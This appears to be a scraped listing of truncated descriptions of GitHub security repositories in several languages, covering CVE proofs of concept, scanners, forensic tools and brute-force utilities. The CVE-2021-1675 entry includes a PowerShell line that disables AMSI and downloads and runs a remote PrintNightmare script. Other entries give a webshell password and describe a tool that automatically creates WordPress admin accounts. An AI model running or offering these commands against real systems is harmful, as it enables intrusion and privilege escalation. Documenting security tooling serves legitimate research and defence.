CVE-2021-34646

CVE-2021-34646 概念验证 此漏洞详情来自NVD 受影响版本包括 Booster for WooCommerce WordPress 插件 5.4.3 及以下版本，由于 /includes/class-wcj-emails-verification.php 文件中的 resetandmailactivationlink 函数存在随机令牌生成弱点，导致 processemailverification 函数存在认证绕过漏洞。攻击者可利用此漏洞模拟用户，对任意账户（包括管理员账户）触发电子邮件验证，并自动以该用户身份登录，包括任何站点管理员。此漏洞需要插件中的 Email...

CVE-2024-38063-Remediation

CVE-2024-38063-Remediation Audit script Download script using powershell one-liner $downloadURI = 'https://raw.githubusercontent.com/dweger-scripts/CVE-2024-38063-Remediation/main/Audit-PatchInstalled-ipv6Vuln.ps1'; $script = 'C:\temp\Audit-PatchInstalled-ipv6Vuln.ps1'; Invoke-WebRequest -URI...

android_hid

androidhid Use Android as Rubber Ducky against targeted Android device or PC HID attack using Android Using Android as Rubber Ducky against Android or Windows. This is not a new technique, just a demo how to perform HID attack using Android instead of rubber ducky. For targeted Android device it ...

dfirtriage

dfirtriage Digital forensic acquisition tool for Windows-based incident response. How to Use To run, drop dfirtriage.exe on the target or connected USB drive and execute with admin rights, -h for help. DFIRTriage v6.0 User's Manual Description This document outlines the functionality and proper u...

CVE-2020-0796-SMBGhost-Exploit-Demo

CVE-2020-0796 Exploit Demo SMBGhost This project demonstrates a proof-of-concept PoC exploit of CVE-2020-0796, also known as SMBGhost - a critical pre-auth RCE vulnerability affecting Windows 10 and Windows Server systems using SMBv3. This was developed as part of a school cybersecurity project...

CVE-2022-3590-WordPress-Vulnerability-Scanner

CVE-2022-3590 Escáner de Vulnerabilidad para WordPress Este script de Python está diseñado para comprobar si un sitio web de WordPress es vulnerable a la vulnerabilidad CVE-2022-3590. La vulnerabilidad explota un Server-Side Request Forgery SSRF ciego no autenticado en la función pingback de...

SiteCore-RCE-Detection

SiteCore-RCE-Detection Para la detección de RCE en Sitecore - CVE-2021-42237 RCE sin autenticación en Sitecore Experience Platform - CVE-2021-42237 Se basa en la detección de la versión de Sitecore y la respuesta cuando se realiza una solicitud a Report.ashx vulnerable mediante GET y POST. El...

freemarker_RCE_struts2_s2-061

freemarkerRCEstruts2s2-061 cve-2020-17530 struts2s2-061 freemarkerRCE script de prueba python freemarkerRCEstruts2s2-061.py...

wifi-hacker

Shell Script For Attacking Wireless Connections Using Built-In Kali Tools. Supports All Securities WEP, WPS, WPA, WPA2 !Imagehtt...

log4j-finder

log4j-finder Un script en Python3 para escanear el sistema de archivos y encontrar Log4j2 vulnerable a Log4Shell CVE-2021-44228 y CVE-2021-45046 y CVE-2021-45105. Escanea recursivamente tanto en disco como dentro de archivos Java Archive JAR anidados. Cómo funciona log4j-finder identifica librerí...

cve-2021-1675

cve-2021-1675 deshabilitar amsi: copiar en powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt ejecutar invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crear cuenta de...

ida_kernelcache

idakernelcache: An IDA Toolkit for analyzing iOS kernelcaches idakernelcache is an IDAPython module for IDA Pro to make working with iOS kernelcaches easier. The module provides functions to: Convert iOS 12's new static tagged pointers into normal kernel pointers. Parse the kernel's PRELINKINFO...

patator

Patator Patator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a...

bluewall

BLUEWALL Bluewall is a firewall framework designed for offensive and defensive cyber professionals. This framework allows Cybersecurity professionals to quickly setup their environment while staying within their scope. Credit Inspired by Andrew Benson's hostfw iptable generation script. Features...

Bitrix24DoS

Bitrix24 DoS Exploit This repository contains a Python script designed to exploit a Denial of Service DoS vulnerability in Bitrix24. Please note that this script is for educational purposes only, and its use for unauthorized activities is illegal and unethical. CVE-2023-1718 CVE Identifier :...

CVE-2022-23222

CVE-2022-23222 如果你只想构建并运行这个东西，点这里。 下面大致是对这篇中文文章（writeup）的翻译， 原文见此处。 我们将以 5.13.0 版本的主线内核代码作为参考。 可用的指针类型与检查其边界的函数之间存在不匹配。 这种不匹配最早在 Linux 5.8 中引入，此后已被修补。 可用指针类型的列表见 此处。c / types of values stored in eBPF registers / / Pointer types represent: pointer pointer + imm pointer + u16 var pointer + u16 var ...

haaukins

Haaukins Haaukins is a highly accessible and automated virtualization platform for security education, it has three main components Docker, Virtualbox and Golang, the communication and orchestration between the components managed using Go programming language. The main reason of having Go...

CVE-2026-8732

CVE-2026-8732 - WordPress WP Google Map Pro Mass Scanner & Auto Admin Creator 📌 Description This tool exploits CVE-2026-8732 , a vulnerability in the WP Google Map Pro plugin for WordPress. The vulnerability allows an unauthenticated attacker to obtain a valid wpmptoken via an AJAX endpoint...

collisions

哈希碰撞与利用 作者：Ange Albertini 与 Marc Stevens。 常见问题（TL;DR） 问：能否让一个文件获得任意的 MD2/MD4/MD5/MD6/SHA1/SHA2/SHA3 哈希，或者与另一个文件相同的哈希？ 答：不能。 问：能否创建两个哈希相同的不同文件？ 答：对于 MD5，在标准计算机上只需几秒钟。对于 SHA1，这可行，但对最终用户而言并不实用（复杂度：2^61.2 成本：1.1 万美元）。 问：能否通过附加数据让两个不同文件获得相同哈希？ 答：对于 MD5，在标准计算机上只需几小时。对于 SHA1，这可行，但对最终用户而言并不实用（复杂度：2^63.4...

CVE-2019-3396-Memshell-for-Behinder

CVE-2019-3396-Memshell-for-Behinder CVE-2019-3396 Behinder用Memshell 使い方 javac BehinderMemShell.java 次に BehinderMemShell.classをBCELに変換する Behinder URL : http://the-confluence-ip/login.action Script Type： JSP Password：rebeyond Header：X-Expires: memok...